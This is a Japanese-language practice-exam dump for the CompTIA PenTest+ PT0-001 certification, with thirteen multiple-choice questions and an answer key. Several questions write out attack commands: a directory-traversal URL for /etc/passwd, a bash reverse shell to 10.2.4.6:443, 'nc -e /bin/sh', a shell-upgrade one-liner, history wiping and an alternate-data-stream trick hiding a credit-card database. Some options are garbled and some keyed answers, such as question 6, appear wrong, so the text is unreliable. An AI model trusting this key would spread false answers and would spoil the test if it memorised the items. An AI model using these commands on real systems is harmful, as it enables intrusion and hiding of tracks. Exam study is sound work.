最新的CompTIA PenTest+認證 PT0-001日本語考試題庫

問題1

ペネトレーションテスターは、ブラウザのURLに次の情報を入力しました。
https://www.example.com/login.php?file=../../../../../../../etc/passwd
サーバーは、サーバーの機密データファイルに含まれているデータで応答しました。次のタイプの脆弱性のうち、最も悪用される可能性が高いのはどれですか？

A. コマンドインジェクション

B. 弱い資格情報

C. 競合状態

D. ディレクトリトラバーサル

正確答案: D

問題2

エグゼクティブサマリーの調査結果と推奨事項を優先しながら、次の考慮事項のうちどれがクライアントにとって有益でしょうか。

A. 各ステップを達成するのにかかる時間

B. 特定された脆弱性を悪用することが困難なレベル

C. 組織のリスク許容度

D. パッチおよび修正プログラムの提供予定

正確答案: C

問題3

Webアプリケーション内のローカルファイルインクルードの脆弱性を悪用した後、制限されたリバースシェルが侵入テスターのワークステーションにスポーンされます。制限されたシェルをエスケープして完全に機能するTTYを作成するために使用できるのは次のうちどれですか。

A. php -r ,Sshell=f3hellopen("/bin/bash-);exec($9he:i)'

B. bash -i >fi /dev/localhosc Oil

C. python -c 'import pty;pcy.3pawn("/bin/bash")'

D. per1 -e ' : set shall=/bin/bash:shell'

正確答案: C

問題4

ペネトレーションテスタがアプリケーションの脆弱性を悪用したため、Linuxセッションからコマンド履歴を削除したいと考えています。次のうちどれがこれを成功させるのでしょうか？

A. rm -f ./history

B. history --remove

C. 猫の歴史をクリア

D. 履歴-c

正確答案: D

問題5

侵入テスト担当者は、システムに「ゴースト」の脆弱性が存在するかどうかを手動で確認したいと考えています。脆弱性を検証する正しい方法は次のうちどれですか？

A. Download the GHOST file to a Linux system and compile
gcc -o GHOST
test i:
./GHOST

B. Download the GHOST file to a Linux system and compile
gcc -o GHOST GHOST.c
test i:
./GHOST

C. Download the GHOST file to a Windows system and compile
gcc -o GHOST
test i:
./GHOST

D. Download the GHOST file to a Windows system and compile
gcc -o GHOST GHOST.c
test i:
./GHOST

正確答案: B

問題6

テスターは、ターゲットシステムで次のコマンドを実行しようとしています。
bash -i >& /dev/tcp/10.2.4.6/443 0> &1
次の追加のコマンドのどれが前のコマンドを成功させるためにテスターのLinuxシステム上で実行される必要があるでしょうか？

A. nc 10.2.4.6. 443

B. nc -nlvp 443

C. nc -e /bin/sh 10.2.4.6. 443

D. nc -w3 10.2.4.6 443

正確答案: C

問題7

ペネトレーションテスターは、一部のターゲットでSNMPを検出します。ペネトレーションテスターが最初に試すべきものは次のうちどれですか？

A. 新しい設定ファイルをアップロードします。

B. MITMを実施します。

C. SNMPトラフィックをスニッフィングします。

D. デフォルトのクレデンシャルを使用します。

正確答案: D

問題8

次のうちどれがセキュリティ評価の予算に直接的かつ重大な影響を与えますか？

A. スコープ

B. 目標リスク

C. 日程計画

D. コンプライアンス要件

正確答案: B

問題9

侵入テスト担当者は、テキストボックスにSQLインジェクションコマンドを入力して、データベース上のインフォメーションストアにアクセスすることができました。次のうちどれが脆弱性を緩和するための最良の推奨ですか？

A. ログインに使用された資格情報をランダム化する

B. ホストベースの侵入検知をインストールする

C. システム強化を実行

D. 入力正規化を実装する

正確答案: D

問題10

環境内のすべてのWebサーバーの最近の脆弱性スキャンでは、次の結果が得られます。

リスクベースのアプローチを取る場合、エクスポージャーに基づいて修復にアプローチするための最良の順序は次のうちどれですか？

A. 無制限のファイルアップロード、クリックジャッキング、冗長サーバーバナー、SQLインジェクション

B. 無制限のファイルアップロード、SQLインジェクション、クリックジャッキング、冗長サーバーバナー

C. クリックジャッキング、無制限のファイルアップロード、冗長サーバーバナー、SQLインジェクション

D. SQLインジェクション、クリックジャッキング、無制限のファイルアップロード、冗長サーバーバナー

E. SQLインジェクション、無制限のファイルアップロード、クリックジャッキング、冗長サーバーバナー

正確答案: B

問題11

次のうちどれがターゲットの外部ドメインで受動的偵察を実行するための最善でしょうか？

A. Shodan

B. Peach

C. CeWL

D. OpenVAS

正確答案: A

問題12

ペネトレーションテスターはWebアプリケーションをテストしており、特権の低いユーザーとしてログインしています。テスターはアプリケーション内で任意のJavaScriptを実行し、XMLHttpRequestを送信して、管理者のみがアクセスできる機能を利用します。
次のコントロールのうち、脆弱性を最も軽減するのはどれですか？

A. クライアント側のセキュリティ制御を追加します

B. すべてのユーザー入力をサニタイズします。

C. 承認チェックを実装します。

D. ディレクトリトラバーサルを防止します。

正確答案: C

問題13

悪用後、テスターは、システムバイナリのみが出力フィルターを通過し、次のコマンドでファイルを保存することを識別します。
c: \creditcards.db>c:\winit\system32\calc.exe:creditcards.db
このコマンドが利用するファイルシステムの脆弱性は次のうちどれですか？

A. バックドアの成功

B. 代替データストリーム

C. 拡張ファイルシステム

D. 階層ファイルシステム

正確答案: B

最新的CompTIA PenTest+ Certification Exam (PT0-001日本語版) - PT0-001日本語免費考試真題

最新更新

站內鏈接

聯系我們